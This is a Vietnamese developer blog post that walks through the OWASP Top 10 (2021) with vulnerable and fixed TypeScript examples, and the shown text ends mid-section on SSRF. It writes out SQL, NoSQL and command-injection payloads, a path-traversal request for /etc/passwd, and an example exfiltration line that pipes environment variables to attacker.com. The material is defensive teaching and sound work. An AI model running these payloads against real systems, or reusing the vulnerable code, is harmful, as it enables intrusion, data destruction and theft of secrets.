Back to blog

OWASP Top 10: Giải Thích Các Lỗ Hổng Web

securityweb-securityowaspxsssql-injection
OWASP Top 10: Giải Thích Các Lỗ Hổng Web

Chào mừng bạn đến với Phase 2 của Web Security Learning Roadmap! Trong Phase 1, bạn đã xây dựng các mô hình tư duy: CIA Triad, STRIDE threat modeling, và defense in depth. Bây giờ là lúc để cụ thể hóa.

OWASP Top 10 là danh sách các rủi ro bảo mật ứng dụng web quan trọng nhất được tham chiếu rộng rãi nhất, được duy trì bởi Open Web Application Security Project. Danh sách này được cập nhật vài năm một lần dựa trên dữ liệu vi phạm thực tế từ hàng nghìn tổ chức. Phiên bản hiện tại là OWASP Top 10: 2021.

Bài viết này cung cấp cho bạn cái nhìn tổng quan tập trung vào lập trình viên về tất cả 10 danh mục — cách mỗi cuộc tấn công hoạt động, tại sao lập trình viên mắc bẫy, và cách phòng thủ.

Lưu ý: Bài viết này cung cấp tổng quan vững chắc về từng danh mục. Các bài deep-dive tiếp theo (SEC-5 đến SEC-12) đi sâu hơn vào các chủ đề cụ thể: SQL Injection, XSS, CSRF/CORS, Password Storage, API Security, và hơn nữa.

Bạn Sẽ Học Được Gì

✅ Hiểu tất cả 10 danh mục OWASP Top 10 (2021)
✅ Xem cách mỗi cuộc tấn công hoạt động với ví dụ code thực tế
✅ Xác định các pattern dễ bị tấn công trong code của bạn
✅ Áp dụng các biện pháp phòng thủ TypeScript cụ thể cho từng danh mục
✅ Hiểu mức độ rủi ro và tác động thực tế
✅ Biết bài deep-dive nào cần đọc tiếp theo cho từng chủ đề


OWASP Top 10 (2021)

#Danh mụcThứ hạng 2017Rủi ro chính
A01Broken Access Control#5Người dùng truy cập những gì họ không nên
A02Cryptographic Failures#3 (Sensitive Data Exposure)Dữ liệu bị lộ khi truyền hoặc lưu trữ
A03Injection#1Dữ liệu không tin cậy được thực thi như lệnh
A04Insecure DesignMỚIKiến trúc có lỗ hổng bị khai thác qua thiết kế
A05Security Misconfiguration#6Cấu hình mặc định bị khai thác
A06Vulnerable & Outdated Components#9CVE đã biết trong dependencies
A07Identification & Auth Failures#2Xác thực bị bỏ qua hoặc bị phá vỡ
A08Software & Data Integrity FailuresMỚI (gộp #8)Cập nhật không có chữ ký, deserialization không an toàn
A09Security Logging & Monitoring Failures#10Các cuộc tấn công không được phát hiện
A10Server-Side Request ForgeryMỚIServer tải URL do kẻ tấn công kiểm soát

A01: Broken Access Control

Tăng từ #5 lên #1. 94% ứng dụng được kiểm tra có một số dạng broken access control. Đây là lỗ hổng nghiêm trọng phổ biến nhất hiện nay.

Nó Là Gì?

Access control đảm bảo người dùng chỉ có thể làm những gì họ được phép. Khi access control bị phá vỡ, người dùng có thể:

  • Truy cập dữ liệu của người dùng khác (leo thang đặc quyền ngang)
  • Truy cập chức năng admin (leo thang đặc quyền dọc)
  • Xem hoặc sửa đổi dữ liệu mà không cần xác thực

Cuộc Tấn Công Hoạt Động Như Thế Nào

IDOR — Insecure Direct Object Reference:

// ❌ DỄ BỊ TẤN CÔNG: Người dùng có thể truy cập bất kỳ đơn hàng nào bằng cách thay đổi ID
app.get('/api/orders/:id', async (req, res) => {
  const order = await db.orders.findById(req.params.id);
  res.json(order); // Trả về BẤT KỲ đơn hàng nào — kể cả của người dùng khác!
});
 
// Kẻ tấn công đơn giản thử:
// GET /api/orders/1001  (của họ)
// GET /api/orders/1002  (của người khác!)
// GET /api/orders/1003  (của người khác!)

Thiếu Kiểm Tra Quyền Truy Cập Chức Năng:

// ❌ DỄ BỊ TẤN CÔNG: Route admin không có kiểm tra admin
app.delete('/api/admin/users/:id', async (req, res) => {
  // Chỉ frontend ẩn nút này — backend không có kiểm tra!
  await db.users.delete(req.params.id);
  res.json({ deleted: true });
});

Thao Túng URL để Vượt Qua Hạn Chế:

// ❌ DỄ BỊ TẤN CÔNG: Path traversal cho phép đọc các file tùy ý
app.get('/files', (req, res) => {
  const filename = req.query.name;
  res.sendFile(`/var/app/uploads/${filename}`);
  // Kẻ tấn công yêu cầu: /files?name=../../etc/passwd
});

Biện Pháp Phòng Thủ

// ✅ AN TOÀN: Luôn xác minh resource thuộc về người dùng đang yêu cầu
app.get('/api/orders/:id', authenticate, async (req, res) => {
  const order = await db.orders.findOne({
    id: req.params.id,
    userId: req.user.id, // ← Chỉ trả về nếu là đơn hàng của NGƯỜI DÙNG NÀY
  });
 
  if (!order) {
    return res.status(404).json({ error: 'Not found' });
  }
 
  res.json(order);
});
 
// ✅ AN TOÀN: Middleware dựa trên role cho các route admin
const requireAdmin = (req: Request, res: Response, next: NextFunction) => {
  if (req.user?.role !== 'admin') {
    return res.status(403).json({ error: 'Forbidden' });
  }
  next();
};
 
app.delete('/api/admin/users/:id', authenticate, requireAdmin, async (req, res) => {
  await db.users.delete(req.params.id);
  res.json({ deleted: true });
});
 
// ✅ AN TOÀN: Làm sạch đường dẫn file
import path from 'path';
 
app.get('/files', authenticate, (req, res) => {
  const UPLOAD_DIR = '/var/app/uploads';
  const requestedPath = path.resolve(UPLOAD_DIR, req.query.name as string);
 
  // Đảm bảo đường dẫn đã resolve vẫn nằm trong thư mục upload
  if (!requestedPath.startsWith(UPLOAD_DIR)) {
    return res.status(403).json({ error: 'Forbidden' });
  }
 
  res.sendFile(requestedPath);
});

Các nguyên tắc chính:

  • Từ chối theo mặc định — yêu cầu cấp quyền rõ ràng
  • Thực thi access control phía server, không chỉ trong UI
  • Dùng kiểm tra quyền sở hữu: WHERE user_id = :currentUser
  • Ghi log các lỗi access control
  • Rate limit API endpoints để giảm thiểu probing tự động

Deep Dive: Access control được đề cập trong SEC-4 (Auth & Authorization Security).


A02: Cryptographic Failures

Trước đây gọi là "Sensitive Data Exposure," được đổi tên để tập trung vào nguyên nhân gốc rễ: không bảo vệ dữ liệu đúng cách bằng mật mã.

Nó Là Gì?

Dữ liệu bị lộ vì:

  • Truyền tải không có mã hóa (HTTP thay vì HTTPS)
  • Lưu trữ không có mã hóa (password, thẻ tín dụng dạng plaintext)
  • Mã hóa bằng thuật toán yếu/lỗi thời (MD5, SHA1, DES)
  • Mã hóa đúng nhưng quản lý khóa yếu

Cuộc Tấn Công Hoạt Động Như Thế Nào

Mật khẩu dạng plaintext trong database:

-- ❌ DỄ BỊ TẤN CÔNG: Nếu database bị xâm phạm, tất cả mật khẩu bị lộ
SELECT * FROM users;
-- id | email          | password
-- 1  | alice@example  | hunter2
-- 2  | bob@example    | 123456

Dữ liệu nhạy cảm qua HTTP (không có TLS):

GET http://example.com/login HTTP/1.1
Authorization: Basic dXNlcjpwYXNzd29yZA==

Giải mã: user:password — bất kỳ ai trên mạng đều thấy được.

Hashing yếu (MD5 cho mật khẩu):

// ❌ DỄ BỊ TẤN CÔNG: MD5 bị phá vỡ về mặt mật mã và nhanh để brute-force
import crypto from 'crypto';
const hash = crypto.createHash('md5').update(password).digest('hex');
// Kẻ tấn công dùng rainbow tables — hash của "password" luôn giống nhau

Dữ liệu nhạy cảm trong URL:

GET /api/reset-password?token=abc123&[email protected]

Token trong URL xuất hiện trong server logs, lịch sử trình duyệt và header Referer.

Biện Pháp Phòng Thủ

// ✅ AN TOÀN: Dùng bcrypt để hash mật khẩu (adaptive, có salt)
import bcrypt from 'bcrypt';
 
const SALT_ROUNDS = 12; // Điều chỉnh dựa trên hiệu suất server
 
async function hashPassword(password: string): Promise<string> {
  return bcrypt.hash(password, SALT_ROUNDS);
}
 
async function verifyPassword(password: string, hash: string): Promise<boolean> {
  return bcrypt.compare(password, hash);
}
 
// ✅ AN TOÀN: Lưu token an toàn, không trong URL
// Xấu:  GET /reset?token=abc123
// Tốt: POST /reset với token trong request body hoặc Authorization header
 
// ✅ AN TOÀN: Mã hóa các trường nhạy cảm ở tầng ứng dụng
import { createCipheriv, createDecipheriv, randomBytes } from 'crypto';
 
function encryptField(value: string, key: Buffer): string {
  const iv = randomBytes(16);
  const cipher = createCipheriv('aes-256-gcm', key, iv);
  const encrypted = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()]);
  const authTag = cipher.getAuthTag();
  return [iv.toString('hex'), authTag.toString('hex'), encrypted.toString('hex')].join(':');
}

Thực thi HTTPS với HSTS:

// Express.js: Ép buộc HTTPS với header Strict-Transport-Security
app.use((req, res, next) => {
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

Deep Dive: Lưu trữ mật khẩu được đề cập chi tiết trong SEC-8 (bcrypt, Argon2, salting).


A03: Injection

Từng là #1 trong 2017. Tấn công injection xảy ra khi dữ liệu không tin cậy được gửi đến interpreter (SQL, shell, LDAP, XML, v.v.) như một phần của lệnh hoặc truy vấn.

Nó Là Gì?

Khi input người dùng được nhúng trực tiếp vào một lệnh mà không có làm sạch đúng cách, kẻ tấn công có thể:

  • Đọc hoặc sửa đổi bất kỳ bản ghi database nào
  • Thực thi lệnh hệ thống trên server
  • Bỏ qua xác thực hoàn toàn

Cuộc Tấn Công Hoạt Động Như Thế Nào

SQL Injection — kinh điển:

// ❌ DỄ BỊ TẤN CÔNG: Nối chuỗi trong SQL query
const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
 
// Kẻ tấn công nhập:
// email: ' OR '1'='1
// password: bất cứ thứ gì
 
// Query kết quả:
// SELECT * FROM users WHERE email = '' OR '1'='1' AND password = 'bất cứ thứ gì'
// Trả về TẤT CẢ người dùng — xác thực bị bỏ qua!

SQL Injection phá hủy:

email: '; DROP TABLE users; --

Kết quả là:

SELECT * FROM users WHERE email = ''; DROP TABLE users; --'

Command Injection:

// ❌ DỄ BỊ TẤN CÔNG: Input người dùng được truyền vào lệnh shell
import { exec } from 'child_process';
 
app.get('/ping', (req, res) => {
  const host = req.query.host;
  exec(`ping -c 1 ${host}`, (err, stdout) => {
    res.send(stdout);
  });
  // Kẻ tấn công nhập: 8.8.8.8; cat /etc/passwd
  // Chạy: ping -c 1 8.8.8.8; cat /etc/passwd
});

NoSQL Injection (MongoDB):

// ❌ DỄ BỊ TẤN CÔNG: Kẻ tấn công có thể inject MongoDB operators
const user = await db.users.findOne({
  email: req.body.email,     // "[email protected]"
  password: req.body.password // { "$ne": null } ← Injection!
});
// Query trở thành: { email: "[email protected]", password: { $ne: null } }
// Khớp với bất kỳ người dùng nào có email đó — bỏ qua mật khẩu!

Biện Pháp Phòng Thủ

// ✅ AN TOÀN: Parameterized queries (không bao giờ nối chuỗi)
import { Pool } from 'pg';
const pool = new Pool();
 
async function findUser(email: string, password: string) {
  // Các tham số LUÔN được coi là dữ liệu, không bao giờ là SQL
  const result = await pool.query(
    'SELECT * FROM users WHERE email = $1 AND password_hash = $2',
    [email, passwordHash]
  );
  return result.rows[0];
}
 
// ✅ AN TOÀN: ORM với parameterization (ví dụ Prisma)
const user = await prisma.user.findUnique({
  where: { email: email }, // Prisma xử lý parameterization
});
 
// ✅ AN TOÀN: Phòng chống command injection — tránh shell, hoặc dùng mảng argument
import { execFile } from 'child_process';
 
app.get('/ping', (req, res) => {
  const host = req.query.host as string;
 
  // Validate input trước
  if (!/^[a-zA-Z0-9.\-]+$/.test(host)) {
    return res.status(400).json({ error: 'Invalid host' });
  }
 
  // execFile KHÔNG dùng shell — argument không thể bị inject
  execFile('ping', ['-c', '1', host], (err, stdout) => {
    res.send(stdout);
  });
});
 
// ✅ AN TOÀN: Phòng chống NoSQL injection — validate type
import { z } from 'zod';
 
const loginSchema = z.object({
  email: z.string().email(),
  password: z.string().min(1).max(128),
});
 
app.post('/login', async (req, res) => {
  const parsed = loginSchema.safeParse(req.body);
  if (!parsed.success) {
    return res.status(400).json({ error: 'Invalid input' });
  }
  // Bây giờ email và password được đảm bảo là string
  const { email, password } = parsed.data;
  const user = await db.users.findOne({ email, password });
});

Deep Dive: SQL và NoSQL injection được đề cập rộng rãi trong SEC-5.


A04: Insecure Design

MỚI trong 2021. Đây khác với bug implementation — nó về các lỗ hổng được nhúng vào kiến trúc và thiết kế của hệ thống. Ngay cả code hoàn hảo cũng không thể sửa một thiết kế không an toàn.

Nó Là Gì?

Bảo mật không được xem xét trong giai đoạn thiết kế. Ví dụ:

  • Luồng "forgot password" reset thành mật khẩu có thể đoán được
  • API trả về tất cả dữ liệu người dùng và dựa vào client để lọc
  • Ứng dụng multi-tenant không có cách ly dữ liệu ở tầng database
  • Luồng thanh toán có thể được replay để tính phí hai lần hoặc không tính phí

Cuộc Tấn Công Hoạt Động Như Thế Nào

Reset mật khẩu có thể đoán được:

// ❌ THIẾT KẾ KHÔNG AN TOÀN: Reset token được tạo từ email + timestamp
function generateResetToken(email: string): string {
  const timestamp = Math.floor(Date.now() / 1000); // seconds
  return crypto.createHash('md5').update(`${email}${timestamp}`).digest('hex');
}
// Kẻ tấn công biết email và có thể đoán timestamp trong vài giây

API over-fetching trả về quá nhiều dữ liệu:

// ❌ THIẾT KẾ KHÔNG AN TOÀN: Trả về mọi thứ, dựa vào frontend để ẩn trường nhạy cảm
app.get('/api/users/:id', async (req, res) => {
  const user = await db.users.findById(req.params.id);
  res.json(user); // Bao gồm passwordHash, internalNotes, adminFlags...
});

Không có rate limiting trên các thao tác nhạy cảm:

// ❌ THIẾT KẾ KHÔNG AN TOÀN: OTP được gửi không có rate limit hoặc đếm số lần thử
// Kẻ tấn công có thể yêu cầu OTP vô tận hoặc brute-force mã 6 chữ số (1M lần thử)

Biện Pháp Phòng Thủ

Thiết kế không an toàn phải được sửa ở tầng thiết kế:

// ✅ AN TOÀN: Reset token ngẫu nhiên về mật mã
import { randomBytes } from 'crypto';
 
function generateResetToken(): string {
  return randomBytes(32).toString('hex'); // 256 bit entropy
}
 
// Lưu hashed token trong DB với thời gian hết hạn
async function createPasswordReset(email: string) {
  const token = generateResetToken();
  const hashedToken = crypto.createHash('sha256').update(token).digest('hex');
  const expiresAt = new Date(Date.now() + 15 * 60 * 1000); // 15 phút
 
  await db.passwordResets.create({
    email,
    tokenHash: hashedToken,
    expiresAt,
    used: false,
  });
 
  return token; // Gửi token raw cho người dùng qua email
}
 
// ✅ AN TOÀN: Chọn trường rõ ràng — không bao giờ trả về model đầy đủ
app.get('/api/users/:id', authenticate, async (req, res) => {
  const user = await db.users.findById(req.params.id, {
    select: { id: true, name: true, email: true, avatarUrl: true },
    // passwordHash, adminFlags, v.v. KHÔNG BAO GIỜ được chọn
  });
  res.json(user);
});
 
// ✅ AN TOÀN: Rate limit các thao tác nhạy cảm
import rateLimit from 'express-rate-limit';
 
const otpLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 phút
  max: 5, // 5 yêu cầu OTP mỗi 15 phút trên mỗi IP
  message: { error: 'Quá nhiều yêu cầu, vui lòng thử lại sau.' },
});
 
app.post('/api/auth/send-otp', otpLimiter, async (req, res) => { /* ... */ });

Checklist thiết kế bảo mật cho tính năng mới:

  • Tính năng này truy cập dữ liệu nào? Nó có cần tất cả không?
  • Kẻ tấn công có thể replay thao tác này không? Thêm idempotency token.
  • Kẻ tấn công có thể enumerate resource không? Dùng UUID thay vì ID tuần tự.
  • Tốc độ tối đa endpoint này nên chấp nhận là bao nhiêu?

A05: Security Misconfiguration

Nguồn #1 của các vi phạm không phải là exploit phức tạp — mà là cấu hình sai. Credentials mặc định, S3 bucket mở, debug endpoint để lại trong production.

Nó Là Gì?

  • Credentials admin mặc định không được thay đổi (admin/admin)
  • Thông báo lỗi chi tiết lộ stack trace
  • Các tính năng không cần thiết được bật (admin panel, XML parser với entity expansion)
  • Cloud storage bucket với quyền đọc công khai
  • Thiếu HTTP security headers
  • Directory listing được bật trên web server

Cuộc Tấn Công Hoạt Động Như Thế Nào

Stack trace trong production lộ thông tin nội bộ:

// ❌ Response DỄ BỊ TẤN CÔNG cho lỗi runtime:
{
  "error": "TypeError: Cannot read property 'id' of undefined",
  "stack": "at /app/routes/users.js:47:23\n  at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)",
  "query": "SELECT * FROM users WHERE id = 'abc'",
  "dbHost": "prod-db.internal:5432"
}

Kẻ tấn công biết: đường dẫn file, database host, schema SQL, phiên bản Express.js.

Directory listing được bật:

GET /uploads/ HTTP/1.1
 
Index of /uploads/
  user_data_export_2024.csv
  admin_passwords_backup.txt
  database_credentials.env

Debug endpoint trong production:

GET /debug/env HTTP/1.1
 
DATABASE_URL=postgres://admin:[email protected]:5432/app
JWT_SECRET=my-very-secret-key
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCY

Biện Pháp Phòng Thủ

// ✅ AN TOÀN: Response lỗi chung trong production
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
  // Ghi log đầy đủ lỗi nội bộ
  console.error(err);
  // logger.error({ err, url: req.url, method: req.method });
 
  // Trả về thông báo chung cho client
  if (process.env.NODE_ENV === 'production') {
    return res.status(500).json({ error: 'Đã xảy ra lỗi nội bộ.' });
  }
 
  // Trong development, hiển thị chi tiết
  return res.status(500).json({
    error: err.message,
    stack: err.stack,
  });
});
 
// ✅ AN TOÀN: Security headers (dùng helmet trong Express.js)
import helmet from 'helmet';
app.use(helmet()); // Tự động thiết lập 11 security header
 
// ✅ AN TOÀN: Vô hiệu hóa header X-Powered-By (tiết lộ Express.js)
app.disable('x-powered-by');
 
// ✅ AN TOÀN: Xóa các route debug trong production
if (process.env.NODE_ENV !== 'production') {
  app.get('/debug/env', (req, res) => res.json(process.env));
}

Checklist infrastructure:

  • Thay đổi tất cả credentials mặc định
  • Vô hiệu hóa directory listing trên web server
  • Xóa/hạn chế admin panel cho mạng nội bộ
  • Bật security headers (CSP, HSTS, X-Frame-Options)
  • Kiểm tra quyền cloud storage thường xuyên
  • Vô hiệu hóa XML external entity processing (XXE)
  • Chạy security configuration audit thường xuyên với Mozilla Observatory

Deep Dive: Security headers và CSP được đề cập trong SEC-11.


A06: Vulnerable and Outdated Components

94% ứng dụng có ít nhất một dependency với lỗ hổng đã biết. Danh mục này tăng lên #6 sau các vi phạm thực tế lớn từ việc khai thác dependency.

Nó Là Gì?

Ứng dụng của bạn chỉ an toàn bằng dependency yếu nhất của nó. Lỗ hổng trong thư viện, framework hoặc component infrastructure có thể bị khai thác — ngay cả khi code của bạn được viết hoàn hảo.

Ví dụ nổi tiếng:

  • Log4Shell (CVE-2021-44228): Một JNDI lookup trong thư viện Log4j cho phép remote code execution. Ảnh hưởng đến hàng triệu ứng dụng Java.
  • Heartbleed (CVE-2014-0160): Lỗi trong OpenSSL cho phép đọc bộ nhớ server — bao gồm khóa riêng tư.
  • Vi phạm Equifax (2017): Lỗ hổng Apache Struts (CVE-2017-5638) đã được vá 2 tháng trước vi phạm. Equifax không áp dụng bản vá.

Cuộc Tấn Công Hoạt Động Như Thế Nào

Kẻ tấn công kiểm tra response headers, thông báo lỗi hoặc package.json của ứng dụng công khai để lấy thông tin phiên bản, sau đó tìm kiếm trong database CVE để tìm exploit đã biết.

# Kẻ tấn công chạy kiểm tra tương đương npm audit trên package.json bị rò rỉ
curl https://target.com/package.json
 
# Hoặc kiểm tra các endpoint bị lộ:
GET /actuator/env   # Endpoint mặc định Spring Boot — lộ mọi thứ
GET /.git/config    # Git config bị lộ lên web — tiết lộ thông tin repo

Biện Pháp Phòng Thủ

# Kiểm tra lỗ hổng đã biết trong các dự án Node.js
npm audit
npm audit fix          # Tự động sửa các bản cập nhật tương thích
npm audit fix --force  # Ép cập nhật (có thể bao gồm thay đổi breaking)
 
# Dùng công cụ chuyên dụng để quét kỹ hơn
npx snyk test
npx snyk monitor  # Giám sát liên tục
 
# Cập nhật dependencies
npx npm-check-updates  # Xem các deps có bản cập nhật
// ✅ Best practice: Pin exact version trong production (package-lock.json)
// Và duy trì quy trình cập nhật dependency thường xuyên:
 
// package.json
{
  "scripts": {
    "audit": "npm audit --audit-level=moderate",
    "outdated": "npm outdated"
  }
}

Quy trình bảo mật dependency:

  1. Chạy npm audit trong CI — fail build khi có CVE cao/nghiêm trọng
  2. Dùng Dependabot hoặc Renovate để cập nhật tự động dựa trên PR
  3. Đăng ký nhận thông báo bảo mật cho các dependency chính
  4. Ưu tiên các package được duy trì tốt, được vá thường xuyên

Deep Dive: Bảo mật dependency và supply chain attack được đề cập trong SEC-12.


A07: Identification and Authentication Failures

Trước đây là #2 "Broken Authentication." Điểm yếu trong xác thực — cách hệ thống xác định bạn là ai — cho phép kẻ tấn công giả mạo danh tính người dùng khác.

Nó Là Gì?

  • Cho phép mật khẩu yếu hoặc phổ biến
  • Không có bảo vệ chống credential stuffing (thử đăng nhập tự động với mật khẩu bị rò rỉ)
  • Khôi phục mật khẩu yếu (câu hỏi có thể đoán, link reset không an toàn)
  • Mật khẩu dạng plaintext hoặc hash yếu trong database
  • MFA bị thiếu hoặc có thể bỏ qua
  • Session token không hết hạn hoặc không bị vô hiệu hóa khi đăng xuất

Cuộc Tấn Công Hoạt Động Như Thế Nào

Credential Stuffing:

Kẻ tấn công có 1 tỷ cặp email/mật khẩu từ các vi phạm trước đó.
Viết bot để thử từng cặp trên endpoint đăng nhập của bạn.
Ngay cả với tỷ lệ tái sử dụng 1% → 10 triệu lần đăng nhập hợp lệ.

Brute Force với Lockout Yếu:

// ❌ DỄ BỊ TẤN CÔNG: Không có lockout sau các lần thử thất bại
app.post('/login', async (req, res) => {
  const user = await db.users.findByEmail(req.body.email);
  if (user && user.password === req.body.password) {
    req.session.userId = user.id;
    return res.json({ success: true });
  }
  res.status(401).json({ error: 'Thông tin đăng nhập không hợp lệ' });
  // Kẻ tấn công thử hàng triệu mật khẩu — không có throttling
});

Session Fixation:

// ❌ DỄ BỊ TẤN CÔNG: Session ID không được tạo lại sau đăng nhập
// Nếu kẻ tấn công cài sẵn session ID đã biết trước khi đăng nhập,
// sau khi nạn nhân đăng nhập, session ID của kẻ tấn công đã được xác thực
app.post('/login', async (req, res) => {
  // ... validate credentials ...
  req.session.userId = user.id; // Session ID cũ được giữ nguyên!
});

Biện Pháp Phòng Thủ

// ✅ AN TOÀN: Thực thi mật khẩu mạnh
import { zxcvbn } from '@zxcvbn-ts/core';
 
function isPasswordStrong(password: string): boolean {
  const result = zxcvbn(password);
  return result.score >= 3; // 0-4, yêu cầu ít nhất 3
}
 
// ✅ AN TOÀN: Account lockout với exponential backoff
const LOCKOUT_THRESHOLD = 5; // lần thử
const LOCKOUT_DURATION = 15 * 60 * 1000; // 15 phút
 
async function recordFailedLogin(email: string): Promise<boolean> {
  const key = `login_attempts:${email}`;
  const attempts = await redis.incr(key);
  await redis.expire(key, 900); // 15 phút
 
  if (attempts >= LOCKOUT_THRESHOLD) {
    await redis.set(`locked:${email}`, '1', 'EX', 900);
    return true; // Tài khoản bị khóa
  }
  return false;
}
 
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
 
  const isLocked = await redis.get(`locked:${email}`);
  if (isLocked) {
    return res.status(429).json({
      error: 'Tài khoản tạm thời bị khóa. Thử lại sau 15 phút.',
    });
  }
 
  const user = await db.users.findByEmail(email);
  const valid = user && await bcrypt.compare(password, user.passwordHash);
 
  if (!valid) {
    await recordFailedLogin(email);
    // Luôn cùng response — không tiết lộ email có tồn tại không
    return res.status(401).json({ error: 'Email hoặc mật khẩu không hợp lệ' });
  }
 
  // ✅ Tạo lại session ID sau đăng nhập thành công (ngăn chặn fixation)
  req.session.regenerate(() => {
    req.session.userId = user.id;
    res.json({ success: true });
  });
});
 
// ✅ AN TOÀN: Vô hiệu hóa session khi đăng xuất
app.post('/logout', (req, res) => {
  req.session.destroy(() => {
    res.clearCookie('connect.sid');
    res.json({ success: true });
  });
});

Deep Dive: Bảo mật JWT, OAuth2 và quản lý session được đề cập trong SEC-4.


A08: Software and Data Integrity Failures

MỚI trong 2021, kết hợp Insecure Deserialization (#8 trong 2017) và thêm supply chain attack phần mềm. Đây đề cập đến các tình huống mà code hoặc dữ liệu có thể bị sửa đổi mà không bị phát hiện.

Nó Là Gì?

  • Cập nhật phần mềm không có chữ ký có thể bị hoán đổi bởi phiên bản độc hại
  • Deserialization không an toàn của dữ liệu không tin cậy
  • CI/CD pipeline lấy từ nguồn không tin cậy
  • Plugin/package tự động cập nhật mà không có xác minh toàn vẹn

Cuộc Tấn Công Hoạt Động Như Thế Nào

Insecure Deserialization:

// ❌ DỄ BỊ TẤN CÔNG: Deserialize dữ liệu không tin cậy có thể thực thi code tùy ý
// Trong các ngôn ngữ có serialization phong phú (Java, Python pickle, PHP unserialize)
// object được deserialize có thể kích hoạt thực thi code
 
// Ví dụ Python (để minh họa):
// import pickle
// pickle.loads(user_supplied_data)  # Có thể chạy code Python tùy ý!
 
// Node.js / JSON an toàn hơn nhưng eval() nguy hiểm:
const userData = eval(`(${req.body.data})`); // ❌ Không bao giờ dùng eval trên input người dùng

Supply Chain Attack qua Package Độc Hại:

# Kẻ tấn công xuất bản "coloors" (typosquatting "colors")
# hoặc xâm phạm tài khoản maintainer để push bản cập nhật độc hại
 
# package.json của bạn lấy phiên bản bị xâm phạm:
npm install colors@latest
# Bản cập nhật gọi về: curl https://attacker.com/steal?data=$(env)

Cơ Chế Cập Nhật Không Có Chữ Ký:

// ❌ DỄ BỊ TẤN CÔNG: Tự động tải về và thực thi script từ CDN
const script = await fetch('https://cdn.example.com/update.js');
eval(await script.text()); // Nếu CDN bị xâm phạm, bạn thực thi code độc hại

Biện Pháp Phòng Thủ

// ✅ AN TOÀN: Xác minh toàn vẹn với Subresource Integrity (SRI) cho CDN script
// Trong HTML:
// <script
//   src="https://cdn.example.com/library.js"
//   integrity="sha384-abc123..."
//   crossorigin="anonymous">
// </script>
 
// ✅ AN TOÀN: Dùng JSON (không phải eval) để trao đổi dữ liệu
const userData = JSON.parse(req.body.data); // An toàn — JSON không thực thi code
 
// ✅ AN TOÀN: Validate schema dữ liệu đã deserialize
import { z } from 'zod';
 
const userDataSchema = z.object({
  name: z.string().max(100),
  age: z.number().int().positive(),
  role: z.enum(['user', 'moderator']), // Enum nghiêm ngặt — không thể inject 'admin'
});
 
const userData = userDataSchema.parse(JSON.parse(req.body.data));

Phòng thủ supply chain:

# Khóa phiên bản chính xác để ngăn cập nhật bất ngờ
npm ci  # Dùng package-lock.json chính xác — không có floating version
 
# Kiểm tra trước khi cài đặt
npm audit before npm install
 
# Dùng private registry proxy (Verdaccio, Artifactory) cache các phiên bản đã được phê duyệt

A09: Security Logging and Monitoring Failures

Danh mục hỗ trợ: điều này không trực tiếp gây ra vi phạm, nhưng nếu không có logging và monitoring đúng cách, các vi phạm sẽ không được phát hiện trong nhiều tháng hoặc nhiều năm. Thời gian dwell trung bình của vi phạm (thời gian từ vi phạm đến phát hiện) là 197 ngày.

Nó Là Gì?

  • Không có logging cho các sự kiện xác thực (đăng nhập thành công/thất bại, reset mật khẩu)
  • Không có logging cho các lỗi access control
  • Log không được giám sát cho các pattern đáng ngờ
  • Log entry không có đủ context (không có timestamp, IP, user ID)
  • Log được lưu trữ nơi kẻ tấn công có thể giả mạo

Cuộc Tấn Công Hoạt Động Như Thế Nào

Nếu không có monitoring, kẻ tấn công có thể:

  1. Thử hàng nghìn payload SQL injection — bạn không bao giờ biết
  2. Thực hiện credential stuffing trong nhiều tuần — bạn không bao giờ biết
  3. Exfiltrate dữ liệu từ từ trong nhiều tháng — bạn không bao giờ biết
  4. Vi phạm Equifax mất 78 ngày để phát hiện, trong thời gian đó 147M bản ghi bị đánh cắp

Biện Pháp Phòng Thủ

// ✅ AN TOÀN: Structured security event logging
import winston from 'winston';
 
const securityLogger = winston.createLogger({
  format: winston.format.json(),
  transports: [
    new winston.transports.File({ filename: 'security.log' }),
    // Trong production: gửi đến centralized logging (Datadog, Splunk, CloudWatch)
  ],
});
 
// Ghi log sự kiện bảo mật với đầy đủ context
function logSecurityEvent(event: {
  type: 'login_success' | 'login_failure' | 'access_denied' | 'password_reset' | 'suspicious_activity';
  userId?: string;
  email?: string;
  ip: string;
  userAgent?: string;
  details?: Record<string, unknown>;
}) {
  securityLogger.warn({
    timestamp: new Date().toISOString(),
    ...event,
  });
}
 
// Dùng trong route handler của bạn:
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const ip = req.ip;
  const userAgent = req.headers['user-agent'];
 
  const user = await authenticateUser(email, password);
 
  if (!user) {
    logSecurityEvent({ type: 'login_failure', email, ip, userAgent });
    return res.status(401).json({ error: 'Thông tin đăng nhập không hợp lệ' });
  }
 
  logSecurityEvent({ type: 'login_success', userId: user.id, email, ip, userAgent });
  // ... tiếp tục ...
});
 
// Ghi log lỗi access control
app.get('/api/orders/:id', authenticate, async (req, res) => {
  const order = await db.orders.findOne({ id: req.params.id, userId: req.user.id });
 
  if (!order) {
    logSecurityEvent({
      type: 'access_denied',
      userId: req.user.id,
      ip: req.ip,
      details: { resource: 'order', resourceId: req.params.id },
    });
    return res.status(404).json({ error: 'Not found' });
  }
 
  res.json(order);
});

Cảnh báo trên các pattern đáng ngờ (khái niệm):

// Giám sát log để phát hiện bất thường:
// - >10 lần đăng nhập thất bại từ cùng IP trong 5 phút → cảnh báo + block tạm thời
// - Lỗi access denied từ người dùng đã xác thực → điều tra IDOR probing
// - Export dữ liệu lớn (>10.000 bản ghi) → cảnh báo exfiltrate dữ liệu
// - Đăng nhập từ quốc gia/IP bất thường cho người dùng → cảnh báo account takeover

Liên quan: Observability được đề cập trong security checklist của SEC-2. Dùng structured logging từ đầu.


A10: Server-Side Request Forgery (SSRF)

MỚI trong 2021, được thêm dựa trên dữ liệu khảo sát ngành. Lỗ hổng SSRF hiếm nhưng có tác động cao — đặc biệt trong môi trường cloud.

Nó Là Gì?

SSRF xảy ra khi server tải một URL mà kẻ tấn công kiểm soát. Server sau đó thực hiện các yêu cầu thay mặt kẻ tấn công — từ bên trong perimeter mạng của bạn.

Điều này nguy hiểm vì:

